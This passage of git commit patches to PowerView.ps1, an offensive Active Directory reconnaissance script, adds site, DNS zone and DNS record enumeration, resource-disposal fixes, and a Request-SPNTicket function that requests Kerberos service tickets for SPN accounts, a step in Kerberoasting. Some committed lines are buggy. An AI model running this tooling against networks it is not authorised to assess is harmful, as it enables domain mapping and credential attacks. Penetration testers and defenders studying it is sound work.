current user context has local administrator acess to the target. @@ -7759,6 +7869,82 @@ filter Invoke-CheckLocalAdminAccess { } +filter Get-SiteName { +<# + .SYNOPSIS + + This function will use the DsGetSiteName Win32API call to look up the + name of the site where a specified computer resides. + + .PARAMETER ComputerName + + The hostname to look the site up for, default to localhost. + + .EXAMPLE + + PS C:\> Get-SiteName -ComputerName WINDOWS1 + + Returns the site for WINDOWS1.testlab.local. + + .EXAMPLE + + PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess + + Returns the sites for every machine in AD. +#> + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [Object[]] + [ValidateNotNullOrEmpty()] + $ComputerName = $Env:ComputerName + ) + + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + # if we get an IP address, try to resolve the IP to a hostname + if($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') { + $IPAddress = $Computer + $Computer = [System.Net.Dns]::GetHostByAddress($Computer) + } + else { + $IPAddress = @(Get-IPAddress -ComputerName $Computer)[0].IPAddress + } + + $PtrInfo = [IntPtr]::Zero + + $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) + Write-Debug "Get-SiteName result for $Computer : $Result" + + $ComputerSite = New-Object PSObject + $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer + $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress + + if ($Result -eq 0) { + $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) + $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename + } + elseif($Result -eq 1210) { + Write-Verbose "Computername '$Computer' is not in a valid form." + $ComputerSite | Add-Member Noteproperty 'SiteName' 'ERROR' + } + elseif($Result -eq 1919) { + Write-Verbose "Computer '$Computer' is not in a site" + + $ComputerSite | Add-Member Noteproperty 'SiteName' $Null + } + else { + Write-Verbose "Error" + $ComputerSite | Add-Member Noteproperty 'SiteName' 'ERROR' + } + + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + $ComputerSite +} + + filter Get-LastLoggedOn { <# .SYNOPSIS @@ -9366,7 +9552,7 @@ function Invoke-ProcessHunter { else { ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" - $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| Foreach-Object { + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| ForEach-Object { $_.MemberName } } @@ -9703,7 +9889,7 @@ function Invoke-EventHunter { else { ForEach ($Domain in $TargetDomains) { Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" - $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | Foreach-Object { + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.MemberName } } @@ -11969,7 +12155,7 @@ function Find-ManagedSecurityGroups { #> # Go through the list of security groups on the domain and identify those who have a manager - Get-NetGroup -FullData -Filter '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | Select-Object -Unique distinguishedName,managedBy,cn | Foreach-Object { + Get-NetGroup -FullData -Filter '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object { # Retrieve the object that the managedBy DN refers to $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname @@ -12141,8 +12327,9 @@ $FunctionDefinitions = @( (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())), + (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), + (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())), (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int])), (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), -- cgit v1.2.3 From 37389e965895b1f478fef8f65ad9699705c191a7 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Fri, 18 Mar 2016 06:13:05 -0400 Subject: Bug fix in Find-GPOLocation --- Recon/PowerView.ps1 | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 80a1a9f..e6f6233 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5746,6 +5746,10 @@ function Get-NetGPO { The GPO display name to query for, wildcards accepted. + .PARAMETER ComputerName + + Return all GPO objects applied to a given computer (FQDN). + .PARAMETER Domain The domain to query for GPOs, defaults to the current domain. @@ -6469,6 +6473,11 @@ function Find-GPOLocation { $GPOguid = $_.GPOName $GPOMembers = $_.Members + if(!$TargetObjects) { + # if the * wildcard was used, set the ObjectDistName as the GPO member sid set + $TargetObjects = $GPOMembers + } + if( -not $ProcessedGUIDs[$GPOguid] ) { $GPOname = $_.GPODisplayName $Filters = $_.Filters @@ -6487,11 +6496,6 @@ function Find-GPOLocation { $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize } - if(!$TargetObjects) { - # if the * wildcard was used, set the ObjectDistName as the GPO member sid set - $TargetObjects = $GPOMembers - } - ForEach ($TargetSid in $TargetObjects) { $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize -- cgit v1.2.3 From 6daaef2706953caabbce44e788493c99de8970eb Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 3 Apr 2016 08:09:33 +0100 Subject: //Group -> //Groups --- Recon/PowerView.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 8672e76..d95443f 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5440,7 +5440,7 @@ function Get-GroupsXML { $FolderPath = $Parts[0..($Parts.length-2)] -join '\' $FilePath = $Parts[-1] $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - + Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive" try { @@ -5462,7 +5462,7 @@ function Get-GroupsXML { [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath -ErrorAction Stop # process all group properties in the XML - $GroupsXMLcontent | Select-Xml "//Group" | Select-Object -ExpandProperty node | ForEach-Object { + $GroupsXMLcontent | Select-Xml "//Groups" | Select-Object -ExpandProperty node | ForEach-Object { $Members = @() $MemberOf = @() -- cgit v1.2.3 From c8ff1940898bd6b9cc9ab08a3193acd3a3902def Mon Sep 17 00:00:00 2001 From: leechristensen Date: Mon, 11 Apr 2016 11:02:31 +0100 Subject: Change ComputerName default to the computer's name Change ComputerName default so Disabled doesn't report error --- Recon/PowerView.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index e6f6233..f921e03 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -7014,7 +7014,7 @@ function Get-NetLocalGroup { [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)] [Alias('HostName')] [String[]] - $ComputerName = 'localhost', + $ComputerName = "$($env:COMPUTERNAMECOMPUTERNAME)", [Parameter(ParameterSetName = 'WinNT')] [Parameter(ParameterSetName = 'API')] -- cgit v1.2.3 From c52f9d712c7842f0318c821552501e9fde39740f Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sun, 24 Apr 2016 06:57:36 -0400 Subject: For PowerView, added $Searcher.CacheResults = $False to Get-DomainSearcher Added dispose() approach for the following cmdlets: Get-NetUser, Get-ObjectAcl/Add-ObjectAcl, Get-GUIDMap, Get-NetComputer, Get-ADObject, Get-NetOU, Get-NetSite, Get-NetSubnet, Get-NetGroup, Get-NetGroupMember, Get-DFSshare, Get-NetGPO, Get-NetDomainTrust --- Recon/PowerView.ps1 | 90 ++++++++++++++++++++++++++++++++++++++++++----------- 1 file changed, 71 insertions(+), 19 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index c6ce1d2..4c64e80 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1678,6 +1678,7 @@ filter Get-DomainSearcher { } $Searcher.PageSize = $PageSize + $Searcher.CacheResults = $False $Searcher } @@ -2126,10 +2127,13 @@ function Get-NetUser { $UserSearcher.filter="(&(samAccountType=805306368)$Filter)" } - $UserSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $UserSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { # convert/process the LDAP fields for each result Convert-LDAPProperty -Properties $_.Properties } + $Results.dispose() + $UserSearcher.dispose() } } } @@ -2857,7 +2861,8 @@ function Get-ObjectAcl { } try { - $Searcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $Searcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { $Object = [adsi]($_.path) if($Object.distinguishedname) { @@ -2909,6 +2914,8 @@ function Get-ObjectAcl { } else { $_ } } + $Results.dispose() + $Searcher.dispose() } catch { Write-Warning $_ @@ -3080,7 +3087,9 @@ function Add-ObjectAcl { } try { - $Searcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $Searcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + # adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects $TargetDN = $_.Properties.distinguishedname @@ -3135,6 +3144,8 @@ function Add-ObjectAcl { Write-Warning "Error granting principal $PrincipalSID '$Rights' on $TargetDN : $_" } } + $Results.dispose() + $Searcher.dispose() } catch { Write-Warning "Error: $_" @@ -3303,10 +3314,13 @@ filter Get-GUIDMap { if($SchemaSearcher) { $SchemaSearcher.filter = "(schemaIDGUID=*)" try { - $SchemaSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $SchemaSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { # convert the GUID $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] } + $Results.dispose() + $SchemaSearcher.dispose() } catch { Write-Debug "Error in building GUID map: $_" @@ -3317,10 +3331,13 @@ filter Get-GUIDMap { if ($RightsSearcher) { $RightsSearcher.filter = "(objectClass=controlAccessRight)" try { - $RightsSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $RightsSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { # convert the GUID $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] } + $Results.dispose() + $RightsSearcher.dispose() } catch { Write-Debug "Error in building GUID map: $_" @@ -3520,8 +3537,8 @@ function Get-NetComputer { $CompSearcher.filter = $CompFilter try { - - $CompSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $CompSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { $Up = $True if($Ping) { # TODO: how can these results be piped to ping for a speedup? @@ -3539,6 +3556,8 @@ function Get-NetComputer { } } } + $Results.dispose() + $CompSearcher.dispose() } catch { Write-Warning "Error: $_" @@ -3680,7 +3699,8 @@ function Get-ADObject { $ObjectSearcher.filter = "(&(samAccountName=$SamAccountName)$Filter)" } - $ObjectSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $ObjectSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { if($ReturnRaw) { $_ } @@ -3689,6 +3709,8 @@ function Get-ADObject { Convert-LDAPProperty -Properties $_.Properties } } + $Results.dispose() + $ObjectSearcher.dispose() } } } @@ -4233,7 +4255,8 @@ function Get-NetOU { } try { - $OUSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $OUSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { if ($FullData) { # convert/process the LDAP fields for each result Convert-LDAPProperty -Properties $_.Properties @@ -4243,6 +4266,8 @@ function Get-NetOU { $_.properties.adspath } } + $Results.dispose() + $OUSearcher.dispose() } catch { Write-Warning $_ @@ -4346,7 +4371,8 @@ function Get-NetSite { } try { - $SiteSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $SiteSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { if ($FullData) { # convert/process the LDAP fields for each result Convert-LDAPProperty -Properties $_.Properties @@ -4356,6 +4382,8 @@ function Get-NetSite { $_.properties.name } } + $Results.dispose() + $SiteSearcher.dispose() } catch { Write-Warning $_ @@ -4453,7 +4481,8 @@ function Get-NetSubnet { $SubnetSearcher.filter="(&(objectCategory=subnet))" try { - $SubnetSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $SubnetSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { if ($FullData) { # convert/process the LDAP fields for each result Convert-LDAPProperty -Properties $_.Properties | Where-Object { $_.siteobject -match "CN=$SiteName" } @@ -4476,6 +4505,8 @@ function Get-NetSubnet { } } } + $Results.dispose() + $SubnetSearcher.dispose() } catch { Write-Warning $_ @@ -4686,8 +4717,9 @@ function Get-NetGroup { else { $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)" } - - $GroupSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + + $Results = $GroupSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { # if we're returning full data objects if ($FullData) { # convert/process the LDAP fields for each result @@ -4698,6 +4730,8 @@ function Get-NetGroup { $_.properties.samaccountname } } + $Results.dispose() + $GroupSearcher.dispose() } } } @@ -4869,7 +4903,8 @@ function Get-NetGroupMember { $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" } - $GroupSearcher.FindAll() | ForEach-Object { + $Results = $GroupSearcher.FindAll() + $Results | ForEach-Object { try { if (!($_) -or !($_.properties) -or !($_.properties.name)) { continue } @@ -4917,6 +4952,8 @@ function Get-NetGroupMember { Write-Verbose $_ } } + $Results.dispose() + $GroupSearcher.dispose() } $Members | Where-Object {$_} | ForEach-Object { @@ -5377,7 +5414,8 @@ function Get-DFSshare { $DFSsearcher.filter = "(&(objectClass=fTDfs))" try { - $DFSSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $DFSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { $Properties = $_.Properties $RemoteNames = $Properties.remoteservername $Pkt = $Properties.pkt @@ -5393,6 +5431,8 @@ function Get-DFSshare { } } } + $Results.dispose() + $DFSSearcher.dispose() if($pkt -and $pkt[0]) { Parse-Pkt $pkt[0] | ForEach-Object { @@ -5442,7 +5482,8 @@ function Get-DFSshare { $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) try { - $DFSSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $DFSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { $Properties = $_.Properties $target_list = $Properties.'msdfs-targetlistv2'[0] $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) @@ -5460,6 +5501,8 @@ function Get-DFSshare { } } } + $Results.dispose() + $DFSSearcher.dispose() } catch { Write-Warning "Get-DFSshareV2 error : $_" @@ -5873,11 +5916,14 @@ function Get-NetGPO { $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" try { - $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $GPOSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { $Out = Convert-LDAPProperty -Properties $_.Properties $Out | Add-Member Noteproperty 'ComputerName' $ComputerName $Out } + $Results.dispose() + $GPOSearcher.dispose() } catch { Write-Warning $_ @@ -5894,10 +5940,13 @@ function Get-NetGPO { } try { - $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $GPOSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { # convert/process the LDAP fields for each result Convert-LDAPProperty -Properties $_.Properties } + $Results.dispose() + $GPOSearcher.dispose() } catch { Write-Warning $_ @@ -11762,7 +11811,8 @@ function Get-NetDomainTrust { $TrustSearcher.filter = '(&(objectClass=trustedDomain))' - $TrustSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $TrustSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { $Props = $_.Properties $DomainTrust = New-Object PSObject $TrustAttrib = Switch ($Props.trustattributes) @@ -11795,6 +11845,8 @@ function Get-NetDomainTrust { $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" $DomainTrust } + $Results.dispose() + $TrustSearcher.dispose() } } -- cgit v1.2.3 From 4cedfa1c308a1bc37530725734290d506c0170dd Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sun, 24 Apr 2016 10:56:07 -0400 Subject: added Request-SPNTicket to request kerberos tickets for specified SPNs --- Recon/PowerView.ps1 | 48 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 4c64e80..dd63509 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1262,6 +1262,54 @@ filter Get-Proxy { } +function Request-SPNTicket { +<# + .SYNOPSIS + + Request the kerberos ticket for a specified service principal name (SPN). + + .PARAMETER SPN + + The service principal name to request the ticket for. Required. + + .EXAMPLE + + PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local" + + Request a kerberos service ticket for the specified SPN. + + .EXAMPLE + + PS C:\> "HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Request-SPNTicket + + Request kerberos service tickets for all SPNs passed on the pipeline. + + .EXAMPLE + + PS C:\> Get-NetUser -SPN | Request-SPNTicket + + Request kerberos service tickets for all users with non-null SPNs. +#> + + [CmdletBinding()] + Param ( + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName = $True)] + [Alias('ServicePrincipalName')] + [String[]] + $SPN + ) + + begin { + Add-Type -AssemblyName System.IdentityModel + } + + process { + Write-Verbose "Requesting ticket for: $SPN" + New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPN + } +} + + function Get-PathAcl { <# .SYNOPSIS -- cgit v1.2.3 From 68c446b9b98db80d6cc683330f3b212907c02136 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 25 Apr 2016 19:52:39 -0400 Subject: Changed some property types in Get-ObjectACL --- Recon/PowerView.ps1 | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index dd63509..cbe5d83 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -2846,18 +2846,25 @@ function Get-ObjectAcl { Get the ACLs for the matt.admin user in the testlab.local domain and resolve relevant GUIDs to their display names. + + .EXAMPLE + + PS C:\> Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs + + Enumerate the ACL permissions for all OUs in the domain. #> [CmdletBinding()] Param ( - [Parameter(ValueFromPipeline=$True)] + [Parameter(ValueFromPipelineByPropertyName=$True)] [String] $SamAccountName, + [Parameter(ValueFromPipelineByPropertyName=$True)] [String] $Name = "*", - [Alias('DN')] + [Parameter(ValueFromPipelineByPropertyName=$True)] [String] $DistinguishedName = "*", -- cgit v1.2.3 From 1f90c2942923a69a37834eb1e0033723cd82a7f4 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Wed, 27 Apr 2016 18:42:51 -0400 Subject: Added Get-DNSZone and Get-DNSRecord to enumerate AD DNS information. Added Convert-DNSRecord (ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1) - needs expansion work on record types --- Recon/PowerView.ps1 | 360 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 360 insertions(+) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index cbe5d83..5433600 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1731,6 +1731,366 @@ filter Get-DomainSearcher { } +filter Convert-DNSRecord { +<# + .SYNOPSIS + + Decodes a binary DNS record. + + Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 + + .PARAMETER DNSRecord + + The domain to query for zones, defaults to the current domain. + + .LINK + + https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 +#> + param( + [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)] + [Byte[]] + $DNSRecord + ) + + function Get-Name { + # modified decodeName from https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 + [CmdletBinding()] + param( + [Byte[]] + $Raw + ) + + [Int]$Length = $Raw[0] + [Int]$Segments = $Raw[1] + [Int]$Index = 2 + [String]$Name = "" + + while ($Segments-- -gt 0) + { + [Int]$SegmentLength = $Raw[$Index++] + while ($SegmentLength-- -gt 0) { + $Name += [Char]$Raw[$Index++] + } + $Name += "." + } + $Name + } + + $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0) + $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2) + $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8) + + $TTLRaw = $DNSRecord[12..15] + # reverse for big endian + $Null = [array]::Reverse($TTLRaw) + $TTL = [BitConverter]::ToUInt32($TTLRaw, 0) + + $Age = [BitConverter]::ToUInt32($DNSRecord, 20) + if($Age -ne 0) { + $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString() + } + else { + $TimeStamp = "[static]" + } + + if($RDataType -eq 1) { + $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27] + + $DNSRecordObject = New-Object PSObject + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A' + $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial + $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL + $DNSRecordObject | Add-Member Noteproperty 'Age' $Age + $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp + $DNSRecordObject | Add-Member Noteproperty 'Data' $IP + $DNSRecordObject + } + + elseif($RDataType -eq 2) { + $NSName = Get-Name $DNSRecord[24..$DNSRecord.length] + + $DNSRecordObject = New-Object PSObject + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS' + $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial + $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL + $DNSRecordObject | Add-Member Noteproperty 'Age' $Age + $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp + $DNSRecordObject | Add-Member Noteproperty 'Data' $NSName + $DNSRecordObject + } + + elseif($RDataType -eq 5) { + $Alias = Get-Name $DNSRecord[24..$DNSRecord.length] + + $DNSRecordObject = New-Object PSObject + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME' + $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial + $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL + $DNSRecordObject | Add-Member Noteproperty 'Age' $Age + $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp + $DNSRecordObject | Add-Member Noteproperty 'Data' $Alias + $DNSRecordObject + } + + elseif($RDataType -eq 6) { + # SOA record + # TODO: how to implement properly? nested object? + } + + elseif($RDataType -eq 12) { + $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length] + + $DNSRecordObject = New-Object PSObject + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR' + $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial + $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL + $DNSRecordObject | Add-Member Noteproperty 'Age' $Age + $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp + $DNSRecordObject | Add-Member Noteproperty 'Data' $Ptr + $DNSRecordObject + } + + elseif($RDataType -eq 13) { + # HINFO record + # TODO: how to implement properly? nested object? + } + + elseif($RDataType -eq 15) { + # MX record + # TODO: how to implement properly? nested object? + } + + elseif($RDataType -eq 16) { + + [string]$TXT = "" + [int]$SegmentLength = $DNSRecord[24] + $Index = 25 + while ($SegmentLength-- -gt 0) { + $TXT += [char]$DNSRecord[$index++] + } + + $DNSRecordObject = New-Object PSObject + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT' + $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial + $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL + $DNSRecordObject | Add-Member Noteproperty 'Age' $Age + $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp + $DNSRecordObject | Add-Member Noteproperty 'Data' $TXT + $DNSRecordObject + } + + elseif($RDataType -eq 28) { + # AAAA record + # TODO: how to implement properly? nested object? + } + + elseif($RDataType -eq 33) { + # ARV record + # TODO: how to implement properly? nested object? + } + + else { + $DNSRecordObject = New-Object PSObject + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN' + $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial + $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL + $DNSRecordObject | Add-Member Noteproperty 'Age' $Age + $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp + $DNSRecordObject | Add-Member Noteproperty 'Data' $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject + } +} + + +filter Get-DNSZone { +<# + .SYNOPSIS + + Enumerates the Active Directory DNS zones for a given domain. + + .PARAMETER Domain + + The domain to query for zones, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .PARAMETER FullData + + Switch. Return full computer objects instead of just system names (the default). + + .EXAMPLE + + PS C:\> Get-DNSZone + + Retrieves the DNS zones for the current domain. + + .EXAMPLE + + PS C:\> Get-DNSZone -Domain dev.testlab.local -DomainController primary.testlab.local + + Retrieves the DNS zones for the dev.testlab.local domain, reflecting the LDAP queries + through the primary.testlab.local domain controller. +#> + + param( + [Parameter(Position=0, ValueFromPipeline=$True)] + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential, + + [Switch] + $FullData + ) + + # $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones" + $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "DC=DomainDnsZones" + $DNSSearcher.filter="(objectClass=dnsZone)" + + if($DNSSearcher) { + $Results = $DNSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + # convert/process the LDAP fields for each result + $Properties = Convert-LDAPProperty -Properties $_.Properties + $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name + + if ($FullData) { + $Properties + } + else { + $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged + } + } + $Results.dispose() + $DNSSearcher.dispose() + } +} + + +filter Get-DNSRecord { +<# + .SYNOPSIS + + Enumerates the Active Directory DNS records for a given zone. + + .PARAMETER ZoneName + + The zone to query for records (which can be enumearted with Get-DNSZone). Required. + + .PARAMETER Domain + + The domain to query for zones, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-DNSRecord -ZoneName testlab.local + + Retrieve all records for the testlab.local zone. + + .EXAMPLE + + PS C:\> Get-DNSZone | Get-DNSRecord + + Retrieve all records for all zones in the current domain. + + .EXAMPLE + + PS C:\> Get-DNSZone -Domain dev.testlab.local | Get-DNSRecord -Domain dev.testlab.local + + Retrieve all records for all zones in the dev.testlab.local domain. +#> + + param( + [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)] + [String] + 